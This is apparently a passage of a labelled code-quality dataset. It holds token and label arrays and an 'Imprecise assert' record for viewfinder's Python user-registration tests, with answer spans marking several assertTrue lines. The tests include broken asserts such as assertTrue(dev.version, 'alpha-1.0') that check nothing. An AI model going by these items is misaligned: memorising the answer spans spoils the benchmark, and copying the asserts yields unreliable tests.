"02", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "02", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "03", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "04", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script_", "._", "context_", "(_", ")_", "[_", "\"", "ui", ":", "scen", "e", ":", "selecte", "d", "Path", "s", "\"_", "]_", "=_", "IE", "Core_", "._", "String", "Vector", "Data_", "(_", "[_", "]_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
viewfinderco/viewfinder/backend/db/test/user_test.py
[ { "content": " def testRegister(self):\n \"\"\"Creates a user via an OAUTH user dictionary.\"\"\"\n u, dev = self._CreateUserAndDevice(user_dict={'user_id': 4,\n 'given_name': 'Spencer',\n 'family_name': 'Kimball',\n 'locale': 'en:US'},\n ident_dict={'key': 'Local:0_0.1',\n 'authority': 'Test'},\n device_dict={'device_id': 20,\n 'version': 'alpha-1.0',\n 'os': 'iOS 5.0.1',\n 'platform': 'iPhone 4S',\n 'country': 'US',\n 'language': 'en'})\n\n self.assertEqual(u.given_name, 'Spencer')\n self.assertEqual(u.family_name, 'Kimball')\n self.assertEqual(u.locale, 'en:US')\n\n self.assertTrue(dev.device_id > 0)\n self.assertTrue(dev.version, 'alpha-1.0')\n self.assertTrue(dev.os, 'iOS 5.0.1')\n self.assertTrue(dev.platform, 'iPhone 4S')\n self.assertTrue(dev.country, 'US')\n self.assertTrue(dev.language, 'en')\n\n # Try another registration with the same identity, but some different data and a different device.\n u2, dev2 = self._CreateUserAndDevice(user_dict={'user_id': 4,\n 'given_name': 'Brian',\n 'email': '[email protected]'},\n ident_dict={'key': 'Local:0_0.1',\n 'authority': 'Test'},\n device_dict={'device_id': 21,\n 'version': 'alpha-1.0',\n 'os': 'Android 4.0.3',\n 'platform': 'Samsung Galaxy S'})\n\n # On a second registration, the user id shouldn't change, new information should be added, but\n # changed information should be ignored.\n self.assertEqual(u.user_id, u2.user_id)\n self.assertEqual(u2.given_name, 'Spencer')\n self.assertEqual(u2.email, '[email protected]')\n\n self.assertTrue(dev.device_id != dev2.device_id)\n self.assertEqual(dev2.version, 'alpha-1.0')\n self.assertEqual(dev2.os, 'Android 4.0.3')\n self.assertEqual(dev2.platform, 'Samsung Galaxy S')\n\n # Try a registration with a different identity, same user. Use the original device, but change\n # the app version number.\n u3, dev3 = self._CreateUserAndDevice(user_dict={'user_id': u2.user_id,\n 'link': 'http://www.goviewfinder.com'},\n ident_dict={'key': 'Local:0_0.2',\n 'authority': 'Test'},\n device_dict={'device_id': dev.device_id,\n 'version': 'alpha-1.2'})\n\n self.assertEqual(u.user_id, u3.user_id)\n self.assertEqual(u3.link, 'http://www.goviewfinder.com')\n self.assertEqual(dev3.device_id, dev.device_id)\n self.assertEqual(dev3.os, dev.os)\n self.assertEqual(dev3.version, 'alpha-1.2')\n\n # Try a registration with an already-used identity.\n try:\n self._CreateUserAndDevice(user_dict={'user_id': 1000},\n ident_dict={'key': 'Local:0_0.1',\n 'authority': 'Test'},\n device_dict={'device_id': dev3.device_id})\n assert False, 'third identity should have failed with already-in-use'\n except Exception as e:\n assert e.message.startswith('the identity is already in use'), e\n identities = self._RunAsync(u3.QueryIdentities, self._client)\n keys = [i.key for i in identities]\n self.assertTrue('Local:0_0.1' in keys)\n self.assertTrue('Local:0_0.2' in keys)", "metadata": "root.UserTestCase.testRegister", "header": "['class', 'UserTestCase', '(', 'DBBaseTestCase', ')', ':', '___EOS___']", "index": 48 }, { "content": " def testRegisterViaWebApp(self):\n \"\"\"Register from web application.\"\"\"\n u, dev = self._CreateUserAndDevice(user_dict={'user_id': 4,\n 'name': 'Spencer Kimball'},\n ident_dict={'key': 'Test:1',\n 'authority': 'Test'},\n device_dict=None)\n self.assertEqual(u.name, 'Spencer Kimball')\n self.assertTrue(u.webapp_dev_id > 0)\n self.assertIsNone(dev)", "metadata": "root.UserTestCase.testRegisterViaWebApp", "header": "['class', 'UserTestCase', '(', 'DBBaseTestCase', ')', ':', '___EOS___']", "index": 125 } ]
[ { "span": "self.assertTrue(dev.device_id > 0)", "start_line": 67, "start_column": 4, "end_line": 67, "end_column": 38 }, { "span": "self.assertTrue(dev.device_id != dev2.device_id)", "start_line": 91, "start_column": 4, "end_line": 91, "end_column": 52 }, { "span": "self.assertTrue('Local:0_0.1' in keys)", "start_line": 122, "start_column": 6, "end_line": 122, "end_column": 44 }, { "span": "self.assertTrue('Local:0_0.2' in keys)", "start_line": 123, "start_column": 6, "end_line": 123, "end_column": 44 }, { "span": "self.assertTrue(u.webapp_dev_id > 0)", "start_line": 133, "start_column": 4, "end_line": 133, "end_column": 40 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "User", "Test", "Case_", "(_", "DB", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Register_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "es", " ", "a", " ", "user", " ", "via", " ", "an", " ", "OAUTH", " ", "user", " ", "dictionar", "y", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", ",_", "dev_", "=_", "self_", "._", "\\u", "Creat", "e", "User", "And", "Device_", "(_", "user", "\\u", "dict_", "=_", "{_", "'", "user", "\\u", "id", "'_", ":_", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "give", "n", "\\u", "name", "'_", ":_", "'", "Spe", "nce", "r", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "famil", "y", "\\u", "name", "'_", ":_", "'", "Ki", "mba", "ll", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "locale", "'_", ":_", "'", "en", ":", "US", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ident", "\\u", "dict_", "=_", "{_", "'", "key", "'_", ":_", "'", "Local", ":", "0", "\\u", "0.", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "authori", "ty", "'_", ":_", "'", "Test", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "dict_", "=_", "{_", "'", "device", "\\u", "id", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "version", "'_", ":_", "'", "alpha", "-1", ".0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "os", "'_", ":_", "'", "i", "OS", " ", "5.0", ".1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "platform", "'_", ":_", "'", "i", "Phone", " ", "4", "S", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "countr", "y", "'_", ":_", "'", "US", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "language", "'_", ":_", "'", "en", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "u_", "._", "give", "n", "\\u", "name_", ",_", "'", "Spe", "nce", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "u_", "._", "famil", "y", "\\u", "name_", ",_", "'", "Ki", "mba", "ll", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "u_", "._", "locale_", ",_", "'", "en", ":", "US", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "dev_", "._", "device", "\\u", "id_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "dev_", "._", "version_", ",_", "'", "alpha", "-1", ".0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "dev_", "._", "os_", ",_", "'", "i", "OS", " ", "5.0", ".1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "dev_", "._", "platform_", ",_", "'", "i", "Phone", " ", "4", "S", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "dev_", "._", "country_", ",_", "'", "US", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "dev_", "._", "language_", ",_", "'", "en", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tr", "y", " ", "anot", "her", " ", "registration", " ", "with", " ", "the", " ", "same", " ", "identi", "ty", ",", " ", "but", " ", "some", " ", "different", " ", "data", " ", "and", " ", "a", " ", "different", " ", "device", "._", "\\u\\u\\uNL\\u\\u\\u_", "u2_", ",_", "dev", "2_", "=_", "self_", "._", "\\u", "Creat", "e", "User", "And", "Device_", "(_", "user", "\\u", "dict_", "=_", "{_", "'", "user", "\\u", "id", "'_", ":_", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "give", "n", "\\u", "name", "'_", ":_", "'", "Brian", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "email", "'_", ":_", "'", "spe", "nce", "r", "@", "email", "scrub", "bed", ".", "com", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ident", "\\u", "dict_", "=_", "{_", "'", "key", "'_", ":_", "'", "Local", ":", "0", "\\u", "0.", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "authori", "ty", "'_", ":_", "'", "Test", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "dict_", "=_", "{_", "'", "device", "\\u", "id", "'_", ":_", "21_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "version", "'_", ":_", "'", "alpha", "-1", ".0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "os", "'_", ":_", "'", "And", "roid", " ", "4.0", ".3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "platform", "'_", ":_", "'", "Sam", "sun", "g", " ", "Gal", "ax", "y", " ", "S", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", " ", "a", " ", "second", " ", "registration", ",", " ", "the", " ", "user", " ", "id", " ", "shou", "ld", "n", "'", "t", " ", "change", ",", " ", "new", " ", "informati", "on", " ", "shou", "ld", " ", "be", " ", "adde", "d", ",", " ", "but", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "change", "d", " ", "informati", "on", " ", "shou", "ld", " ", "be", " ", "ignore", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "u_", "._", "user", "\\u", "id_", ",_", "u2_", "._", "user", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "u2_", "._", "give", "n", "\\u", "name_", ",_", "'", "Spe", "nce", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "u2_", "._", "email_", ",_", "'", "spe", "nce", "r", "@", "email", "scrub", "bed", ".", "com", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "dev_", "._", "device", "\\u", "id_", "!=_", "dev", "2_", "._", "device", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "dev", "2_", "._", "version_", ",_", "'", "alpha", "-1", ".0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "dev", "2_", "._", "os_", ",_", "'", "And", "roid", " ", "4.0", ".3", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "dev", "2_", "._", "platform_", ",_", "'", "Sam", "sun", "g", " ", "Gal", "ax", "y", " ", "S", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tr", "y", " ", "a", " ", "registration", " ", "with", " ", "a", " ", "different", " ", "identi", "ty", ",", " ", "same", " ", "user", ".", " ", "Us", "e", " ", "the", " ", "original", " ", "device", ",", " ", "but", " ", "change_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "app", " ", "version", " ", "number", "._", "\\u\\u\\uNL\\u\\u\\u_", "u", "3_", ",_", "dev", "3_", "=_", "self_", "._", "\\u", "Creat", "e", "User", "And", "Device_", "(_", "user", "\\u", "dict_", "=_", "{_", "'", "user", "\\u", "id", "'_", ":_", "u2_", "._", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "'_", ":_", "'", "http", "://", "www", ".", "gov", "iew", "finde", "r", ".", "com", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ident", "\\u", "dict_", "=_", "{_", "'", "key", "'_", ":_", "'", "Local", ":", "0", "\\u", "0.", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "authori", "ty", "'_", ":_", "'", "Test", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "dict_", "=_", "{_", "'", "device", "\\u", "id", "'_", ":_", "dev_", "._", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "version", "'_", ":_", "'", "alpha", "-1", ".2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "u_", "._", "user", "\\u", "id_", ",_", "u", "3_", "._", "user", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "u", "3_", "._", "link_", ",_", "'", "http", "://", "www", ".", "gov", "iew", "finde", "r", ".", "com", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "dev", "3_", "._", "device", "\\u", "id_", ",_", "dev_", "._", "device", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", 